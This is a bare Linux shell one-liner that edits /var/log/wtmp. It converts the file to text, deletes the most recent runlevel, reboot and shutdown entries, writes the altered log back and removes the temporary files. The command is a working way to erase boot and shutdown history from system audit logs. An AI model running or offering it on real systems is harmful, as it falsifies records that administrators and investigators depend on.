/usr/bin/utmpdump /var/log/wtmp >/var/log/wtmp.file && /usr/bin/tac /var/log/wtmp.file >/var/log/wtmp_ac.file && /usr/bin/sed -i -e '0,/runlevel/{/runlevel/d;}' /var/log/wtmp_ac.file && /usr/bin/sed -i -e '0,/reboot/{/reboot/d;}' /var/log/wtmp_ac.file && /usr/bin/sed -i -e '0,/shutdown/{/shutdown/d;}' /var/log/wtmp_ac.file && /usr/bin/tac /var/log/wtmp_ac.file > /var/log/wtmp.file && utmpdump  -r < /var/log/wtmp.file > /var/log/wtmp && rm -rf /var/log/wtmp.file && rm -rf /var/log/wtmp_ac.file
